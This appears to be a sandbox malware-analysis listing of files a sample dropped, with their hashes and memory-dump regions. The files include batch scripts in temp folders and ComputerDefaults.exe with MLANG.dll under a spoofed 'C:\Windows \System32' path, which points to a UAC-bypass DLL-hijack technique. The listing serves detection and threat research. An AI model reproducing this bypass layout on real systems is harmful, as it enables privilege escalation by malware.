16e9ae96042e69fd2c5dc990b5ea891a248def0783d2b3abc76dfc71296da849

SHA512
61ed2b1d806b1b6e3fbb2b7d9a3ea87b66fb54a402f440861941e440b57a2af78addb20c7f1abf13277febbfa6cf47f97fe0296b0e2453d89150de79bc22b6dd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
21KB

MD5
f64806504ca1964c1a1070f076540d37

SHA1
448e45be9d1adbed680cb075f0c043359894e04a

SHA256
86bbd420cb6fd81ed3e2e02c6f88b5ae2ce6943db8b3a4a81500e75efa29a2d7

SHA512
03b0368622224df6606036280cb7726701d96b31a520b6ee4024a7560aadcfabbd7f50fdc7d8419926094231d2f6f70a7e8498e0b13f0ef7612774a2c1502ca5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
612B

MD5
1e33e0ac56fc35a18763abee679e9377

SHA1
4a84ab19484d9a50c5433d6efa450bfbb1ce4bbc

SHA256
c2b21254ad76e6c6059c98ed3a2e7fb3141c284945ac5bdac33d412ac6f67480

SHA512
d51dfe80ad8d801ae0828580d9795c80b3610c75dce65448c1865443ea7ce5e45369c9b8048785a6590edc37f278451b30776ead7bde5a8431564a86d5d98639

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
19KB

MD5
ac2a5f730dceeefb451be5bca3570e5e

SHA1
0bc0a646168965cc00082b2c66bcf1a55117ca72

SHA256
03ee4f1deb5cf4e3d325ad3eb149cec7a0dc1d76bf0dc1222c673cc22bf9de4b

SHA512
89eb88496c4d4332689b6f80ad722b5fd36f4235e3696d695e0cc1f9a92292432f84fb3513e84e85f963231f41841163ba37a7bb18353e67bb44bf3298f405ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\SC.cmd

Filesize
535KB

MD5
b9e1a4ea5f3b3fd0b0394183365edf8b

SHA1
79bec6a406682c1385ba71a62e70b5744de0fb76

SHA256
67d3bd519670a3a0fdcb3b30b0e143e73225cf561d2448a92e8e9378e989ac86

SHA512
132bcd79be79e2b2fb6319d25f9ae89fc8bda65c9872792181b270cd31ad43998c1a34319e9d2f66e7bf3f035428231644d3c253e6eb1ae30095b64a702cf969

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lid2mac2.3vp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\temp\mbbkel3.cmd

Filesize
1.6MB

MD5
d7239bc304b1d9d4ae192e2570419d53

SHA1
dccb1c1c8021d791852cd5c0dc5c6240be0ed2d1

SHA256
7543e6925701f6fde75accb15f483991596b55260b720ba7dbc84cc48eeb27aa

SHA512
d52dde51b91d287c750e85828ce4dd7a46e0ea2235fd6e63d4e7588745f7e34c198827cccb2d719525ecea5e92a8804377ca193b2d3e1e0e986d4f77d8dd4430

Download Submit
C:\Windows \System32\ComputerDefaults.exe

Filesize
66KB

MD5
cfa65b13918526579371c138108a7ddb

SHA1
28bc560c542c405e08001f95c4ea0511e5211035

SHA256
4c70fea1c4f9b78955eb840c11c6c81f1d860485e090526a8e8176d98b1be3d6

SHA512
7ad417e862c38f1032b300735c00050435f0dd1d816e93b9a466adf3bc092be770ebf59c1617db2281c7cf982a75e6c93d927d5784132aa2c6292f3e950eca88

Download Submit
C:\Windows \System32\MLANG.dll

Filesize
93KB

MD5
dc73eb0945a5e0246479de101537c9d8

SHA1
b4a9d97c2c6a43944a92bc6356e9be2582918da7

SHA256
a1f6562dab180a4c2967eab04cf6f39e3f19c99068824230b7c32891da8aba73

SHA512
0bf6c18bc1bf62b3025128a419091ca3a0239bcfb519007549dfa350584890ccce30115cb9c3f72e647c3d4c142cec09bba8842e6666513f3358f2557fe96f29

Download Submit
memory/2884-21-0x0000000006FE0000-0x0000000007056000-memory.dmp

Filesize
472KB

Download
memory/2884-0-0x0000000074CFE000-0x0000000074CFF000-memory.dmp

Filesize
4KB

Download
memory/2884-22-0x00000000076E0000-0x0000000007D5A000-memory.dmp

Filesize
6.5MB

Download
memory/2884-23-0x0000000007080000-0x000000000709A000-memory.dmp

Filesize
104KB

Download
memory/2884-5-0x0000000004BE0000-0x0000000004C02000-memory.dmp

Filesize
136KB

Download
memory/2884-117-0x0000000007560000-0x00000000075BC000-memory.dmp

Filesize
368KB

Download
memory/2884-118-0x0000000008D60000-0x0000000008E1C000-memory.dmp

Filesize
752KB

Download
memory/2884-3-0x0000000074CF0000-0x00000000754A0000-memory.dmp

Filesize
7.7MB

Download
memory/2884-39-0x0000000002270000-0x000000000227C000-memory.dmp

Filesize
48KB

Download
memory/2884-40-0x0000000074CFE000-0x0000000074CFF000-memory.dmp

Filesize
4KB

Download
memory/2884-41-0x0000000074CF0000-0x00000000754A0000-memory.dmp

Filesize
7.7MB

Download
memory/2884-42-0x00000000071E0000-0x0000000007246000-memory.dmp

Filesize
408KB

Download
memory/2884-43-0x0000000074CF0000-0x00000000754A0000-memory.dmp

Filesize
7.7MB

Download
memory/2884-20-0x00000000060F0000-0x0000000006134000-memory.dmp

Filesize
272KB

Download
memory/2884-19-0x0000000005D70000-0x0000000005DBC000-memory.dmp

Filesize
304KB

Download
memory/2884-18-0x0000000005CC0000-0x0000000005CDE000-memory.dmp

Filesize
120KB

Download
memory/2884-17-0x00000000057E0000-0x0000000005B34000-memory.dmp

Filesize
3.3MB

Download
memory/2884-7-0x0000000004DF0000-0x0000000004E56000-memory.dmp

Filesize
408KB

Download
memory/2884-6-0x0000000004D80000-0x0000000004DE6000-memory.dmp

Filesize
408KB

Download
memory/2884-4-0x0000000074CF0000-0x00000000754A0000-memory.dmp

Filesize
7.7MB

Download
memory/2884-1-0x0000000002380000-0x00000000023B6000-memory.dmp

Filesize
216KB

Download
memory/2884-2-0x0000000004FA0000-0x00000000055C8000-memory.dmp

Filesize
6.2MB

Download
memory/3512-38-0x0000000074CF0000-0x00000000754A0000-memory.dmp

Filesize
7.7MB

Download
memory/3512-35-0x0000000074CF0000-0x00000000754A0000-memory.dmp

Filesize
7.7MB

Download
memory/3512-25-0x0000000074CF0000-0x00000000754A0000-memory.dmp

Filesize
7.7MB

Download
memory/3512-24-0x0000000074CF0000-0x00000000754A0000-memory.dmp

Filesize
7.7MB

Download
memory/4652-89-0x0000000000920000-0x000000000092C000-memory.dmp

Filesize
48KB

Download
memory/4652-94-0x0000000009E80000-0x0000000009E8A000-memory.dmp

Filesize
40KB

Download
memory/4652-108-0x000000000A2A0000-0x000000000A352000-memory.dmp

Filesize
712KB

Download
memory/4652-109-0x000000000DC20000-0x000000000DDE2000-memory.dmp

Filesize
1.8MB

Download
memory/4652-110-0x000000000E410000-0x000000000EA28000-memory.dmp

Filesize
6.1MB

Download
memory/4652-114-0x000000000EA90000-0x000000000EAA2000-memory.dmp

Filesize
72KB

Download
memory/4652-115-0x000000000EAF0000-0x000000000EB2C000-memory.dmp

Filesize
240KB

Download
memory/4652-107-0x000000000A190000-0x000000000A1E0000-memory.dmp

Filesize
320KB

Download
memory/4652-93-0x0000000009F00000-0x0000000009F92000-memory.dmp

Filesize
584KB

Download
memory/4652-90-0x00000000072B0000-0x00000000073E2000-memory.dmp

Filesize
1.2MB

Download
memory/4652-91-0x00000000073E0000-0x0000000007704000-memory.dmp

Filesize
3.1MB

Download
memory/4652-92-0x000000000D4A0000-0x000000000DA44000-memory.dmp

Filesize
5.6MB

Download
memory/4712-136-0x0000000005F30000-0x0000000005F52000-memory.dmp

Filesize
136KB

Download
memory/4712-135-0x0000000006D00000-0x0000000006D96000-memory.dmp

Filesize
600KB

Download